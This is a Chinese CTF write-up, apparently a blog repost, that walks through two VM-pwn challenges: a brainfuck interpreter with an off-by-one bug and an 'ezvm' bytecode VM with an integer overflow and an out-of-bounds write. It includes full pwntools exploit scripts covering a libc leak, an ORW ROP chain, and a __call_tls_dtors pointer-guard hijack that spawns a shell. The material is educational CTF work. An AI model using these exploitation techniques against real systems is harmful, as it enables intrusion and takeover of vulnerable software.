VMPWN的入门级别题目详解(二)

news2024/9/29 3:32:50

实验四 VMPWN4

题目简介

这道题应该算是虚拟机保护的一个变种,是一个解释器类型的程序,何为解释器?解释器是一种计算机程序,用于解释和执行源代码。解释器可以理解源代码中的语法和语义,并将其转换为计算机可以执行的机器语言。与编译器不同,解释器不会将源代码转换为机器语言,而是直接执行源代码。即,这个程序接收一定的解释器语言,然后按照一定的规则对其进行解析,完成相应的功能,从本质上来看依然是一个虚拟机。

这个程序是一个brainfuck的解释器,brainfuck的语法如下所示:

将这些语法翻译为c代码如下所示:

题目保护检查

使用checksec来检查程序开启了哪些保护机制

所有保护全部开启
使用seccomp-tools检查程序是否开启了沙箱

只允许open、openat、read、write、brk等少数系统调用,也就是说我们不能通过执行system(“/bin/sh”)或者execve系统调用来拿到shell了。

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

漏洞分析

使用IDA pro打开这个程序
查看伪代码

看到std::cout以及std::string等函数,可以看出来这个程序是用c++进行编写的,相比于C语言的程序,C++的程序反编译之后分析起来难度会大一些。

分析一波sub_1EA2函数
L8arzn.png
在a1+0x400处创建一个string类,后面的sub_1FAAsub_1F72很复杂,看不明白,应该是初始化的函数。

然后在 sub_154B 函数中

这里就是沙箱开启函数,我们一开始用 seccomp-tools 分析程序得到的沙箱规则就是在这个函数中设置的,对程序的系统调用功能进行了种种限制。

接着输入 code,每次输入 1 字节,然后将这 1 字节拼接到 string 中, 在这里我们可以动态调试一下输入过程,因为 string 是一个类,其内部有其他成员。我们将断点下载 while 循环结束之后,即读取完了 code,我们首先输入 5 个’>',string 类在 rbp-0x40,我们查看其中内容:

前8个字节是一个指针,指向我们输入的code存放的地址,第2个8字节是输入的字节数,后面的就是我们输入的code,这里我们只输入了5个字节,直接在存在了栈中。我们多输入一些,大于0x10个字符
L8ByhF.png
L8DX24.png
前8个字节变为了堆地址,我们输入的数据被存入了堆中,第2个8字节依然书我们输入的字节数,第3个8字节0x1e,应该是剩余可用空间,0x13+0x1e=0x31。
总的来说,如果输入字符数小于0x10,string类的大概成员应该如下

struct string
{
	char *data;
	int64_t size;
	char data[0x10];
	...
}

如果大于0x10则为如下

struct
{
	char *buf;
	int64_t size;
	int64_t capacity;
	char tmp_data[8];
	...
}

继续分析程序

中间这一段 for 循环应该是遍历所有输入的 code,寻找[和],也就是寻找程序的边界,为什么是寻找程序的边界,可以再看一下 brainfuck 解释为 c 语言之后的效果。
[]所包裹起来的 code,就是 while 循环之内要执行的代码。
从这个 for 循环往下,就是对 brainfuck 的解释代码,会依次判断每个字符的值,并进行相应的操作。

首先看到对>的操作
L8yoqA.png
会对v19进行+1操作,v19是啥呢?
L863RO.png
s是最开始初始化的时候传入的一个长度为0x400的数组,这里将v19赋值为s数组的地址,每当解析到>时,就将v19往后移动一个字节,然后对v19进行判断
L8cwnJ.png
在if判断中存在问题,当v19指针大于string指针是退出,也就是说v19可以等于string指针,即v19可以指向string的第一个字节,存在off-by-one。如下图
L82liq.png
v19可以指向画框的1字节。

后续的其他操作就都和最开始贴出来的brainfuck语法一样了,也没有漏洞。

接下来开始利用漏洞。

第一步还是得先泄露libc地址。
泄露方法是通过将v19指向string的第一字节,也就是buf指针的最后1字节。
L8RXuD.png
0x7fffffffde68处就是main函数的返回地址,我们将buf指针的最后1字节修改为68,这样buf就会指向返回地址。
在程序的最后,会将string的数据输出
L8WEDg.png
而此时string的buf已经被我们指向了返回地址,输出时就会泄露出libc_start_main的地址。
在这里我们需要注意,想要buf指针能够指向栈中,我们输入的数据不能超过0x10个字节,而v19和string相差多少呢?
L8fARx.png
v19是指向s的,s和string相差了0x400的距离,所以我们需要将v19增加0x400才行,但如果我们输入0x400个>,又会调用malloc,这样buf就会变成堆地址。所以这里就得了解brainfuck语法,使用[]可以达成类似于循环的效果。只需要+[>+],这5个字符就可以一直循环增加v19指针,并在v19指向string的第1字节时自动停止,然后往string的第1字节写入1字节的数据,换成c的语法如下

++*ptr;
while(*ptr)
{
		ptr++;
		++*ptr;
}

这看起来是一个死循环,为啥能够自动在指向string的第1个字节时自动停止呢?这是因为,当执行完>使得v19指向string后,接下来会执行+使得string的buf指针+1,变成了下图所示:
LGnwfU.png
于是,原本要取],因为指针+1,就会取到,,从而跳出循环。
还有一点就是,因为aslr的缘故,栈地址会一直改变,所以泄露libc地址需要多试几次才能成功。
拿到libc地址之后,就可以进行利用了,由于此时string的buf指针指向的是返回地址,我们再次输入code的时候就会往返回地址上写,所以我们可以构造好orw的rop链,直接写入返回地址,然后当我们结束main函数的时候就会执行orw链。
另外,还有需要注意的地方,在程序开头和结尾,有这么几个函数
开头
LBncjI.png
结尾
LBnoCQ.png
开头的应该是构造函数,结尾的应该是析构函数。
在漏洞利用中我们将string的buf指向了返回地址,如果我们在这个时候退出了while循环,执行析构函数时就会报错,所以我们在布置完orw链后还需要对string的buf进行修正,让它指向正确的位置。

利用脚本

from pwn import *
context.log_level='debug'
global io
libc=ELF('./libc.so.6')

def debug(addr,PIE=True):
	if PIE:
		text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
		gdb.attach(io,'b *{}'.format(hex(text_base+addr)))
	else:
		gdb.attach(io,"b *{}".format(hex(addr)))

def pwn():
    payload = '+[>+],'
    io.recvuntil('enter your code:\n')
    
    io.sendline(payload)
    io.recvuntil('running....\n')
    io.send(p8(0xd8))
    io.recvuntil("your code: ")
    libc_base = u64(io.recvuntil('\x7f',timeout=0.5)[-6:].ljust(8,'\x00')) - 231 - libc.sym['__libc_start_main']
    if libc_base>>40!=0x7f:
        raise Exception("leak error!")
    log.success('libc_base => {}'.format(hex(libc_base)))
    pop_rdi_ret=libc_base+0x000000000002155f
    pop_rsi_ret=libc_base+0x0000000000023e6a
    pop_rdx_ret=libc_base+0x0000000000001b96
    open_addr=libc_base+libc.symbols['open']
    read_addr=libc_base+libc.symbols['read']
    write_addr=libc_base+libc.symbols['write']
    log.success('open_addr => {}'.format(hex(open_addr)))
    log.success('read_addr => {}'.format(hex(read_addr)))
    log.success('write_addr => {}'.format(hex(write_addr)))

    flag_str_addr=(libc_base+libc.symbols['__free_hook'])&0xfffffffffffff000

    orw=p64(pop_rdi_ret)+p64(0)+p64(pop_rsi_ret)+p64(flag_str_addr)+p64(pop_rdx_ret)+p64(0x10)+p64(read_addr)
    orw+=p64(pop_rdi_ret)+p64(flag_str_addr)+p64(pop_rsi_ret)+p64(0)+p64(open_addr)
    orw+=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(flag_str_addr+0x10)+p64(pop_rdx_ret)+p64(0x100)+p64(read_addr)
    orw+=p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_ret)+p64(flag_str_addr+0x10)+p64(pop_rdx_ret)+p64(0x100)+p64(write_addr)

    io.recvuntil('want to continue?\n')
    io.send('y')
    io.recvuntil('enter your code:\n')

    io.sendline(orw+payload)

    io.recvuntil('running....\n')
    io.send('\xa0')
    io.recvuntil('want to continue?\n')
    io.send('n')
    io.send('./flag')

    io.interactive()

if __name__ == "__main__":
    while True:
        try:
            io=process('./bf')
            pwn()
        except:
            io.close()
    

实验五 VMPWN5

题目简介

这道题是一道很典型的VMPWN,接收字节码,对字节码进行解析,执行对应功能。不过这题相较于前面的vmpwn有些区别,前几题都都是同时存在越界读和越界写漏洞的,然而这道题仅存在一个越界写漏洞,这就要求更加开阔和灵活的解题思路。

题目保护检查

保护全部开启了。

漏洞分析

IDA打开程序

读取一段字符,如果这段字符串不为”bye bye”,则调用sub_228E函数

看到sub_228E函数

首先根据字符串的输出将各个变量重命名。

先让用户输入code_size,也就是字节码的长度;接着让用户输入memory count,也就是内存的大小,内存的单位是8字节,后面通过malloc申请memory count*8大小的堆块作为内存。
然后读取code,最后调用sub_1458函数,跟进查看

似乎是一个初始化函数,但具体做了什么我们暂不清楚,继续往下看,跟进到sub_151A函数。

这里就是熟悉的解析字节码了,我们将前面的函数和变量重命名一下

为了方便逆向分析,我们首先来确定虚拟机的结构体。

首先根据这里的判断,我们猜测通用寄存器的索引不能大于3,也就是通用寄存器有 4个。
我们再回看到init_vm结构体。

qword_5040应该为pc指针,因为它指向的是code的开头,ptr指向内存的开头,后面又malloc出来了一块0x800的堆,猜测这个qword_5050应该就是栈顶指针rsp,重命名之后如下

重新看回到exec_vm函数

qword_5088很明显是当前运行了多少code。
而我们注意到

我们刚刚重命名的指针都是位于同一块区域,所以这一块区域应该就是vm虚拟机的位置。

根据刚刚的分析,创建如下结构体

struct vm
{
  char *code;
  int64_t *memory;
  int64_t *stack;
  int64_t codesize;
  int64_t memcnt;
  int64_t regs[4];
  int64_t rip;
  int64_t rsp;
};

再将其应用于IDA中,此时exec_vm已经变得很清晰

一共24个功能,每个操作码对应的功能如下:

0:push

1:pop

2:将栈中的两个值相加

3:将栈中的两个值相减

4:将栈中的两个值相乘

5:将栈中的两个值相除

6:将栈中的两个值取模

7:将栈中的两个值左移

8:将栈中的两个值右移

9:将栈中的两个值相与

11:将栈中的两个值相或

12:将栈中的两个值相异或

13:判断栈顶值是否为0

14:jmp

15:条件jmp,如果栈顶有值就jmp,没有就不jmp

16:条件jmp,和15相反

17:判断栈顶的两个值是否相等

18:判断栈顶值是否小于栈顶下的一个值

19:判断栈顶值是否大于栈顶下的一个值

20:将一个立即数存入寄存器中

21:将寄存器中的值存入内存中

22:将内存中的值存入寄存器中

23:打印finish

接下来开始分析漏洞

在最开始输入mem_cnt时有一个判断,如下

在这里,当输入类似0x2000000000000020mem_cnt时,后续申请到的memory大小就为0x100
因为0x200000000000000*8会超过64位能表示的最大数字从而导致整数溢出,只有最后的0x20*8会保留下来。

在执行opcode时,0x15功能点处检查内存是否越界依然使用的是一开始输入的mem_cnt,因此存在越界写,可以将寄存器中的数据写到任意内存中。而在0x16功能点处的内存读功能则由于v8 >= 8 * vmx.memcnt / 8的处理,失去了越界读的效果,所以题目的漏洞就在于0x15功能点的越界写。

但是,由于不存在越界读功能,我们无法从内存中读取libc地址信息到寄存器中,虚拟机也没有输出功能,因此我们需要另辟蹊径。

首先如何生成libc地址,注意在exec_vm结束后,会清理虚拟机的各个段

由于将堆free了会链入到unsortedbin中,因此堆中就会留下libc地址,再重新初始化一个虚拟机,这个新的虚拟机的内存段中就会包含libc地址。

当opcode大于0x17时,会输出what???,可以根据这个构造盲注来泄露libc地址.

首先将libc地址push到栈上,然后将1<<i(5<=i<=40)也push到栈上,然后通过0x9的按位与功能

检测该位是否为1,如果为1的话就执行一个错误的opcode,输出what???,如果为0的话就跳转回code开头,继续测试下一位是否为1,由此可以一位一位地得到libc地址。

如上图所示,这是mem区残留的libc地址,首先将libc地址mov到reg[0]中,如下图

然后将其push到栈中

接着我们往reg[1]中写入1<<i,i从5开始,到40结束,因为libc地址的末尾4位为0,且开头一定为0x7f,所以只需要从第5位测试到第40位即可

如上图,reg[1]中存放着1<<8,然后将其压入栈中

再将这两个值进行按位与

将按位与之后的结果存入栈底,然后我们判断栈底为1或者0,为1的话就输出finish,为0的话就输出what?,以此来判断libc的每一位数据为1或者0.

得到libc地址之后就该思考如何getshell了。

拿到libc地址后,再加上任意地址写,随便怎么打都可以,这里采用打call_tls_dtors来getshell。

call_tls_dtors是什么?

main函数正常退出时,会调用exit函数

void
exit (int status)
{
  __run_exit_handlers (status, &__exit_funcs, true, true);
}
libc_hidden_def (exit)

exit函数调用了__run_exit_handlers函数

__run_exit_handlers (int status, struct exit_function_list **listp,
		     bool run_list_atexit, bool run_dtors)
{
  /* First, call the TLS destructors.  */
#ifndef SHARED
  if (&__call_tls_dtors != NULL)
#endif
    if (run_dtors)
      __call_tls_dtors ();

  .....................
  _exit (status);
}

__run_exit_handlers函数中,会检查run_dtors,如果为真就会调用__call_tls_dtors

动态调试exit函数,可以看到run_dtors的值

pwndbg> p run_dtors 
$1 = true

因此__call_tls_dtors是会被执行的,再看到__call_tls_dtors函数

void
__call_tls_dtors (void)
{
  while (tls_dtor_list)
    {
      struct dtor_list *cur = tls_dtor_list;
      dtor_func func = cur->func;
#ifdef PTR_DEMANGLE
      PTR_DEMANGLE (func);
#endif

      tls_dtor_list = tls_dtor_list->next;
      func (cur->obj);

      /* Ensure that the MAP dereference happens before
	 l_tls_dtor_count decrement.  That way, we protect this access from a
	 potential DSO unload in _dl_close_worker, which happens when
	 l_tls_dtor_count is 0.  See CONCURRENCY NOTES for more detail.  */
      atomic_fetch_add_release (&cur->map->l_tls_dtor_count, -1);
      free (cur);
    }
}

如果tls_dtor_list存在的话,就会将tls_dtor_list赋值给cur,而cur是一个dtor_list的结构体指针,定义如下

struct dtor_list
{
  dtor_func func;
  void *obj;
  struct link_map *map;
  struct dtor_list *next;
};

然后将cur->func赋值给func,然后调用PTR_DEMANGLE (func),定义如下

#  define PTR_DEMANGLE(var)	asm ("ror $2*" LP_SIZE "+1, %0\n"	      \
				     "xor %%fs:%c2, %0"			      \
				     : "=r" (var)			      \
				     : "0" (var),			      \
				       "i" (offsetof (tcbhead_t,	      \
						      pointer_guard)))

纯汇编如下

   0x7ffff7e21428 <__call_tls_dtors+40>    ror    rax, 0x11
   0x7ffff7e2142c <__call_tls_dtors+44>    xor    rax, qword ptr fs:[0x30]
   0x7ffff7e21435 <__call_tls_dtors+53>    mov    qword ptr fs:[rbx], rdx
   0x7ffff7e21439 <__call_tls_dtors+57>    mov    rdi, qword ptr [rbp + 8]
   0x7ffff7e2143d <__call_tls_dtors+61>    call   rax

与之相对的是PTR_MANGLE(var)

#  define PTR_MANGLE(var)	asm ("xor %%fs:%c2, %0\n"		      \
				     "rol $2*" LP_SIZE "+1, %0"		      \
				     : "=r" (var)			      \
				     : "0" (var),			      \
				       "i" (offsetof (tcbhead_t,	      \
						      pointer_guard)))

PTR_MANGLE可以看作是加密过程,PTR_DEMANGLE 则是解密过程,循环右移0x11位,然后和fs:[0x30]异或得出解密之后的值。

fs:[0x30]是什么?64位程序中,函数退栈时检查canary的那条汇编语句就是xor rcx, qword ptr fs:[0x28],里面也出现了fs,实际上fs是一个TLS结构体,定义如下

typedef struct
{
  void *tcb;		/* Pointer to the TCB.  Not necessarily the
			   thread descriptor used by libpthread.  */
  dtv_t *dtv;
  void *self;		/* Pointer to the thread descriptor.  */
  int multiple_threads;
  uintptr_t sysinfo;
  uintptr_t stack_guard;
  uintptr_t pointer_guard;
  int gscope_flag;
  /* Bit 0: X86_FEATURE_1_IBT.
     Bit 1: X86_FEATURE_1_SHSTK.
   */
  unsigned int feature_1;
  /* Reservation of some values for the TM ABI.  */
  void *__private_tm[3];
  /* GCC split stack support.  */
  void *__private_ss;
  /* The lowest address of shadow stack,  */
  unsigned long ssp_base;
} tcbhead_t;

stack_guard就是fs:[0x28],也就是canary,相应的,fs:[0x30]就是pointer_guard。如何定位TLS结构体?在pwndbg使用如下方式

pwndbg> canary 
canary : 0xed8519fd5f3d4700
pwndbg> search -p 0xed8519fd5f3d4700
                0x7ffff7fca568 0xed8519fd5f3d4700
pwndbg> x /20xg 0x7ffff7fca568-0x28
0x7ffff7fca540:	0x00007ffff7fca540	0x00007ffff7fcae90
0x7ffff7fca550:	0x00007ffff7fca540	0x0000000000000000

回到函数中来,解密了func之后,会执行

func (cur->obj);

而func和cur->obj同属于tls_dtor_list结构体,而这个结构体的来源是tls_dtor_list这个指针,如果我们能够控制这个指针指向我们可控的内存那么就能够劫持程序。我们继续动态调试查看tls_dtor_list的值

pwndbg> p tls_dtor_list 
Cannot find thread-local storage for process 5047, shared library /usr/lib/freelibs/amd64/2.31-0ubuntu9.2_amd64/libc.so.6:
Cannot find thread-local variables on this target

但是pwndbg并不能直接查看到tls_dtor_list的内容,看地址也不行,那我们继续从汇编中找

查看while (tls_dtor_list)处的汇编,如下

   0x7ffff7e2140a <__call_tls_dtors+10>    mov    rbx, qword ptr [rip + 0x1a094f]
 ► 0x7ffff7e21411 <__call_tls_dtors+17>    mov    rbp, qword ptr fs:[rbx]
   0x7ffff7e21415 <__call_tls_dtors+21>    test   rbp, rbp
   0x7ffff7e21418 <__call_tls_dtors+24>    je     __call_tls_dtors+93 <__call_tls_dtors+93>

fs:[rbx]处的值赋给rbp,然后检查rbp是否为0

此时RBP的值为

RBX  0xffffffffffffffa8

补码形式,转换成负数就是-0x58,也就是将fs:[-0x58]处的值赋给RBP,所以tls_dtor_list的地址就为fs:[-0x58]。

整个利用流程就是,将tls_dtor_list的值修改为我们可控内存的地址,一般是堆的地址,然后根据dtor_list结构体的布局

struct dtor_list
{
  dtor_func func;
  void *obj;
  struct link_map *map;
  struct dtor_list *next;
};

我们只需要将在堆中将func伪造为加密后的system的地址,obj为/bin/sh即可。

按照上面说的思路,我们利用越界写将pointer_guard修改为0,然后修改dtor_list结构体的值,将func修改为加密后的system地址,将会obj修改为binsh的地址,最后我们推出虚拟机的时候就会触发system(“/bin/sh”)来getshell。

利用脚本

from pwn import *
context.log_level='debug'
io=process('./ezvm')
libc=ELF('./libc-2.35.so')

io.recvuntil('Welcome to 0ctf2022!!\n')
io.sendline('lock')
io.recvuntil('size:\n')
io.sendline('38')
io.recvuntil('memory count:\n')
io.sendline('256')
code=p8(0x17)+p8(0xff)*36
io.recvuntil('code:\n')
io.sendline(code)
io.recvuntil('continue?\n')
io.sendline('y')

leak=0
for i in range(5,40,1):
    print("leaking bit"+str(i)+':'+str(bin(1<<i)))
    code=p8(0x16)+p8(0)+p64(0) #mov reg[0],mem[0]
    code+=p8(0)+p8(0) #push r0
    code+=p8(0x14)+p8(1)+p64(1<<i) #mov reg[1],1<<i
    code+=p8(0)+p8(1) #push r1
    code+=p8(0x9) #AND
    code+=p8(0x10)+p64(1)
    code+=p8(0x18)+p8(0x17)
    io.recvuntil('size:\n')
    io.sendline(str(len(code)))
    io.recvuntil('memory count:\n')
    io.sendline('256')
    io.recvuntil('code:\n')
    
    io.sendline(code)
    # gdb.attach(io)
    # pause()
    data=io.recvuntil('finish!\n',drop=True)
    if 'what' in data:
        leak|=(1<<i)

leak|=0x7f0000000000
log.success('leak => {}'.format(hex(leak)))
libc_base=leak-0x219ce0
system_addr=libc_base+libc.symbols['system']
binsh_addr=libc_base+libc.search('/bin/sh\x00').next()
tls_dtor_list_addr=libc_base-0x28c0-0x58
log.success('libc_base => {}'.format(hex(libc_base)))
log.success('system_addr => {}'.format(hex(system_addr)))
log.success('binsh_addr => {}'.format(hex(binsh_addr)))

size = 0x2000000000030000
io.recvuntil('size:\n')
io.sendline('100')
io.recvuntil('memory count:\n')
io.sendline(str(size))
code=p8(0x15)+p8(0)+p64(0x302ec) #mov mem[0x302eb],reg[0]
enc=((system_addr^0)>>(64-0x11))|((system_addr^0)<<0x11)
code+=p8(0x14)+p8(1)+p64(enc) #mov reg[1],system_addr
code+=p8(0x14)+p8(2)+p64(binsh_addr) #mov reg[2],binsh_addr
code+=p8(0x14)+p8(3)+p64(libc_base+0x220000) #mov reg[3],libc_base+0x220000
code+=p8(0x15)+p8(3)+p64(0x302db)
code+=p8(0x15)+p8(1)+p64(0x747fe)  
code+=p8(0x15)+p8(2)+p64(0x747ff) 
io.recvuntil('code:\n')
#gdb.attach(io)
io.sendline(code)
io.recvuntil('continue?\n')
io.sendline('bye bye')



io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/804486.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

数据结构:线索二叉树

线索二叉树 通过前面对二叉树的学习&#xff0c;了解到二叉树本身是一种非线性结构&#xff0c;采用任何一种遍历二叉树的方法&#xff0c;都可以得到树中所有结点的一个线性序列。在这个序列中&#xff0c;除第一个结点外&#xff0c;每个结点都有自己的直接前趋&#xff1b;…

MySql忘记密码如何修改

前言 好久没用数据库的软件了&#xff0c;要用的时候突然发现密码已经忘记了&#xff0c;怎么试都不对&#xff0c;心态直接爆炸&#xff0c;上一次用还是22年6月份&#xff0c;也记不得当时用数据库干什么了&#xff0c;这份爆炸浮躁的心态值得这样记录一下&#xff0c;警示自…

国内常见的16款低代码开发平台介绍

本文给大家讲解3种不同方向的低代码/无代码开发平台。 第一种&#xff1a;企业级低代码开发平台&#xff0c;企业级这一概念是指&#xff1a;能把企业方方面面的业务需求全都能覆盖到&#xff0c;&#xff08;包括很多定制化且高度复杂的核心应用系统&#xff0c;如ERP、MES、…

浅析嵌入式GUI框架-LVGL

LVGL是什么&#xff1f; LVGL (Light and Versatile Graphics Library) 是最流行的免费开源嵌入式图形库&#xff0c;可为任何 MCU、MPU 和显示类型创建漂亮的 UI。 嵌入式GUI框架对比 Features/框架LVGLFlutter-elinuxArkUI(鸿蒙OS)AWTKQTMIniGUIemWinuC/GUI柿饼UI跨平台…

神经数据库:用于使用 ChatGPT 构建专用 AI 代理的下一代上下文检索系统 — (第 2/3 部分)

书接上回理解构建LLM驱动的聊天机器人时的向量数据库检索的局限性 - &#xff08;第1/3部分&#xff09;_阿尔法旺旺的博客-CSDN博客 其中我们强调了&#xff08;1&#xff09;嵌入生成&#xff0c;然后&#xff08;2&#xff09;使用近似近邻&#xff08;ANN&#xff09;搜索…

Reinforcement Learning with Code 【Chapter 8. Value Funtion Approximation】

Reinforcement Learning with Code This note records how the author begin to learn RL. Both theoretical understanding and code practice are presented. Many material are referenced such as ZhaoShiyu’s Mathematical Foundation of Reinforcement Learning, . 文章…

2.9 线性表的划分

划分规则: 以某个元素为标准, 把顺序表中的元素分为左右两个部分, 标准元素称为枢轴. 考研中划分有三种题型(划分策略). 题型一 要求: 给一个顺序表, 以第一个元素为枢轴, 将该顺序表划分为左右两部分, 使得左边的所有元素都小于枢轴, 右边的所有元素都大于枢轴. 并且枢轴要…

基于Java+SpringBoot+vue前后端分离大学生就业招聘系统设计实现

博主介绍&#xff1a;✌全网粉丝30W,csdn特邀作者、博客专家、CSDN新星计划导师、Java领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ &#x1f345;文末获取源码联系&#x1f345; &#x1f447;&#x1f3fb; 精彩专…

【雕爷学编程】Arduino动手做(174)---Sensor Shield V5.0传感器扩展板

37款传感器与执行器的提法&#xff0c;在网络上广泛流传&#xff0c;其实Arduino能够兼容的传感器模块肯定是不止这37种的。鉴于本人手头积累了一些传感器和执行器模块&#xff0c;依照实践出真知&#xff08;一定要动手做&#xff09;的理念&#xff0c;以学习和交流为目的&am…

c++学习(位图)[22]

位图 位图&#xff08;Bitmap&#xff09;是一种数据结构&#xff0c;用于表示一个固定范围的布尔值&#xff08;通常是0或1&#xff09;。它使用一个二进制位来表示一个布尔值&#xff0c;其中每个位的值表示对应位置的元素是否存在或满足某种条件。 位图可以用于解决一些特…

下级平台级联安防视频汇聚融合EasyCVR平台,层级显示不正确是什么原因?

视频汇聚平台安防监控EasyCVR可拓展性强、视频能力灵活、部署轻快&#xff0c;可支持的主流标准协议有GB28181、RTSP/Onvif、RTMP等&#xff0c;以及厂家私有协议与SDK接入&#xff0c;包括海康Ehome、海大宇等设备的SDK等&#xff0c;能对外分发RTSP、RTMP、FLV、HLS、WebRTC等…

粘包处理的方式

为什么出现粘包&#xff1a; 发送端在发送的时候由于 Nagel 算法的存在会将字节数较小的数据整合到一起发送&#xff0c;导致粘包&#xff1b;接收端不知道发送端数据的长度&#xff0c;导致接收时无法区分数据&#xff1b; 粘包处理的方式&#xff1a; 通过在数据前面加上报…

OpenLayers入门,OpenLayers如何加载GeoJson多边形、线段、点和区域范围等数据并叠加到OpenLayers矢量图层上

专栏目录: OpenLayers入门教程汇总目录 前言 前面两章已经讲了OpenLayers如何加载GeoJson数据到矢量图层和webgl图层上,前面两章也是可以支持多边形、线段、点和区域范围灯数据加载的,只是没有设置样式,所以只能看到点,本章就相当于完整版本,可以将所有图形都详细展示出…

使用Wps减小PDF文件的大小

第一步、打开左上角的文件 第二步、点击打印选项 第三步、点击打印按钮

大学的python课程一般叫什么,大学开设python课程吗

大家好&#xff0c;小编为大家解答大学的python课程一般叫什么的问题。很多人还不知道大学python课有没有听的必要&#xff0c;现在让我们一起来看看吧&#xff01; 1、华中农业大学python期末考试会考原题吗 华中农业大芦如学python期末考试不会考原题。华中农业搜侍大学pyth…

Leetcode-每日一题【剑指 Offer II 075. 数组相对排序】

题目 给定两个数组&#xff0c;arr1 和 arr2&#xff0c; arr2 中的元素各不相同 arr2 中的每个元素都出现在 arr1 中 对 arr1 中的元素进行排序&#xff0c;使 arr1 中项的相对顺序和 arr2 中的相对顺序相同。未在 arr2 中出现过的元素需要按照升序放在 arr1 的末尾。 示例&…

都2023年了还不会Node.js爬虫?快学起来!

爬虫简介 什么是爬虫 爬虫&#xff08;Web Crawler&#xff09;是一种自动化程序&#xff0c;可以在互联网上自动抓取网页&#xff0c;并从中提取有用的信息。 爬虫可以模拟人类浏览器的行为&#xff0c;自动访问网站、解析网页、提取数据等。 通俗来说&#xff0c;爬虫就像…

财报解读:新鲜感褪去后,微软直面AI的骨感现实?

微软交出了一份远观尚可&#xff0c;但近看承压的“答卷”。 北京时间2023年7月26日&#xff0c;微软披露了2023财年第四财季及全年财报。受生产力和业务流程部门和智能云部门等业务带动&#xff0c;微软第四财季营收561.89亿美元&#xff0c;同比增长8%&#xff1b;净利润200…

Java-day02(关键字,变量,进制转换,数据类型转换,运算符)

关键字&#xff0c;变量&#xff0c;进制转换&#xff0c;数据类型转换&#xff0c;运算符 1.关键字&#xff0c;保留字与标识符 Java区分大小写 1.1 关键字 定义:有特殊含义&#xff0c;用作专用的字符串&#xff08;单词&#xff09; 特点&#xff1a;关键字所以字母都为…

小程序 获取用户头像、昵称、手机号的组件封装(最新版)

在父组件引入该组件 <!-- 授权信息 --><auth-mes showModal"{{showModal}}" idautnMes bind:onConfirm"onConfirm"></auth-mes> 子组件详细代码为: authMes.wxml <!-- components/authMes/authMes.wxml --> <van-popup show…